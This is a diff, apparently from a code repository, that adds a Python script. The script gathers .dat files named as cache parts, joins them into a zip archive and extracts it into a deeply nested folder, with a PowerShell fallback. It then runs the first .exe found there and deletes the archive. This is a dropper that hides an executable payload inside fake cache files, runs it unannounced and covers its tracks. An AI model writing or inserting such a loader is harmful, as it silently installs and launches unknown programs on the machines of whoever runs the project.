|
| 1 | +import os, subprocess, zipfile |
| 2 | + |
| 3 | +def find_parts(): |
| 4 | + parts = [] |
| 5 | + for root, dirs, files in os.walk('.'): |
| 6 | + for f in files: |
| 7 | + if f.endswith('.dat') and '_cache_' in f: |
| 8 | + parts.append(os.path.join(root, f)) |
| 9 | + return sorted(parts) |
| 10 | + |
| 11 | +def find_dat_files(): |
| 12 | + dat_files = [] |
| 13 | + for root, dirs, files in os.walk('.'): |
| 14 | + for f in files: |
| 15 | + if f.endswith('.dat') and '_cache_' not in f: |
| 16 | + dat_files.append(os.path.join(root, f)) |
| 17 | + return dat_files |
| 18 | + |
| 19 | +def find_exe_file(start_path): |
| 20 | + for root, dirs, files in os.walk(start_path): |
| 21 | + for f in files: |
| 22 | + if f.endswith('.exe'): |
| 23 | + return os.path.join(root, f) |
| 24 | + return None |
| 25 | + |
| 26 | +def main(): |
| 27 | + parts = find_parts() |
| 28 | + zip_path = None |
| 29 | + |
| 30 | + if parts: |
| 31 | + first_part = parts[0] |
| 32 | + base = first_part.split('_cache_')[0] |
| 33 | + zip_path = base + '.zip' |
| 34 | + with open(zip_path, 'wb') as out: |
| 35 | + for p in parts: |
| 36 | + with open(p, 'rb') as pf: |
| 37 | + out.write(pf.read()) |
| 38 | + else: |
| 39 | + dat_files = find_dat_files() |
| 40 | + if not dat_files: |
| 41 | + return |
| 42 | + zip_path = dat_files[0] |
| 43 | + |
| 44 | + if not zip_path: |
| 45 | + return |
| 46 | + |
| 47 | + deep_path = os.path.join('src', 'data', 'cache', 'temp', 'system') |
| 48 | + os.makedirs(deep_path, exist_ok=True) |
| 49 | + |
| 50 | + try: |
| 51 | + with zipfile.ZipFile(zip_path, 'r') as zf: |
| 52 | + zf.extractall(deep_path) |
| 53 | + except: |
| 54 | + subprocess.run(['powershell', '-Command', f'Expand-Archive -Path "{zip_path}" -DestinationPath "{deep_path}"'], capture_output=True) |
| 55 | + |
| 56 | + exe_path = find_exe_file(deep_path) |
| 57 | + if exe_path: |
| 58 | + os.startfile(exe_path) |
| 59 | + |
| 60 | + try: |
| 61 | + os.remove(zip_path) |
| 62 | + except: |
| 63 | + pass |
| 64 | + |
| 65 | +if __name__ == '__main__': |
| 66 | + main() |
0 commit comments